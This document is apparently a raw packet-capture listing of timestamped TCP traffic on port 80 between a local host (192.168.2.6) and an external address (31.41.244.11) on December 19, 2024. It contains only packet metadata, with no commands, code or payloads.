Dec 19, 2024 16:10:34.098237991 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.098297119 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.098438978 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.098483086 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.099261999 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.099306107 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.099721909 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.099800110 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.100368023 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.100414991 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.100805044 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.100852966 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.101172924 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.101217031 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.101387024 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.101533890 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.102185011 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.102225065 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.102410078 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.102443933 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.103203058 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.103249073 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.262283087 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.262300968 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.262312889 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.262325048 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.262361050 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.262372971 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.262386084 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.262408972 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.262430906 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.266257048 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.266277075 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.266289949 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.266303062 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.266304016 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.266320944 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.266324997 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.266330004 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.266333103 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.266352892 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.266428947 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.270263910 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.270284891 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.270298004 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.270309925 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.270322084 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.270339012 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.270343065 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.270356894 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.270365000 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.270370960 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.270381927 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.270385981 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.270406961 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.270432949 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.274269104 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.274290085 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.274302006 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.274313927 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.274324894 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.274327993 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.274338007 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.274349928 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.274365902 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.274367094 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.274380922 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.274383068 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.274406910 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.274421930 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.276257992 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.276328087 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.276529074 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.276540995 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.276547909 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.276611090 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.278247118 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.278259039 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.278273106 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.278285027 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.278287888 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.278321028 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.278343916 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.280769110 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.280781031 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.280795097 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.280807972 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.280808926 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.280827045 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.280831099 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.280864000 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.281323910 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.281348944 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.281388044 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.282254934 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.282295942 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.286264896 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.286281109 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.286333084 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.286891937 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.286905050 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.286948919 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.287992001 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.288007021 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.288028955 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.288063049 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.288266897 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.288312912 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.289664030 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.289686918 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.289699078 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.289697886 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.289716959 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.289729118 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.290141106 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.290175915 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.291049004 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.291062117 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.291095018 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.292162895 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.292186022 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.292248011 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.292784929 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.292828083 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.293061972 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.293096066 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.293618917 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.293657064 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.294070959 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.294111967 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.294770956 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.294795990 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.294823885 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.294841051 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.295594931 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.295963049 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.296015978 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.296700001 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.297205925 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.297251940 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.297871113 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.298101902 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.298213959 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.298255920 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.298504114 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.298572063 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.299127102 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.299282074 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.299521923 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.300082922 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.300914049 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.300930023 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.300944090 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.300952911 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.301052094 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.301959038 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.301973104 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.301995039 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.302009106 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.302934885 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.302977085 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.304455042 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.304467916 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.304481983 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.304500103 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.304503918 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.304511070 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.304524899 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.304544926 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.305013895 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.305284023 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.306238890 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.306252003 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.306269884 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.306286097 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.309370041 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.309401035 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.309413910 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.309416056 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.309426069 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.309432030 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.309438944 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.309444904 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.309453011 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.309459925 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.309473991 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.309488058 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.309489012 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.309500933 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.309521914 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.309551954 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.310251951 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.310290098 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.314280033 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.314301014 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.314312935 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.314325094 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.314336061 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.314348936 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.314348936 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.314362049 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.314374924 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.314393044 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.314409018 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.318243980 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.318357944 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.454340935 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.454363108 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.454376936 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.454391003 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.454404116 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.454415083 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.454416990 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.454442024 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.454479933 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.458291054 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.458307981 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.458323002 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.458336115 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.458348989 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.458355904 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.458362103 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.458375931 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.458389997 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.458390951 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.458410025 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.458431005 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.462308884 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.462332010 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.462347031 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.462358952 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.462371111 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.462372065 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.462383986 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.462392092 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.462398052 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.462412119 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.462420940 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.462440014 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.466314077 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.466334105 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.466347933 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.466360092 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.466375113 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.466387033 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.466397047 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.466399908 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.466413975 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.466420889 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.466434956 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.466464043 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.470300913 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.470323086 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.470335960 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.470349073 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.470362902 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.470369101 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.470375061 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.470391035 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.470391989 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.470405102 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.470407009 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.470432997 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.470443010 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.474298954 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.474325895 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.474339008 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.474353075 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.474359989 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.474366903 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.474379063 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.474380970 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.474394083 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.474402905 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.474406958 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.474417925 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.474421978 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.474455118 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.474463940 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.482239962 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.482269049 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.482285023 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.482294083 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.482299089 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.482315063 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.482317924 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.482330084 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.482342958 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.482352972 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.482355118 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.482367992 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.482369900 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.482383966 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.482398987 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.482424021 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.482683897 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.482691050 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.482734919 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.486304045 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.486324072 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.486337900 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.486350060 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.486357927 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.486363888 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.486377001 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.486378908 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.486411095 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.486429930 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.489079952 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.489105940 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.489120007 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.489130020 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.489131927 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.489146948 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.489149094 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.489161968 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.489176035 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.489191055 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.489252090 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.489461899 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.489495039 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.492333889 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.492352962 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.492367029 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.492379904 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.492381096 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.492400885 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.492407084 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.492417097 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.492435932 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.492455006 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.493282080 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.493303061 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.493338108 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.493355989 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.494339943 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.494362116 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:34.494385004 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.494409084 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:34.495424986 CET	80	49881	31.41.244.11	192.168.2.6
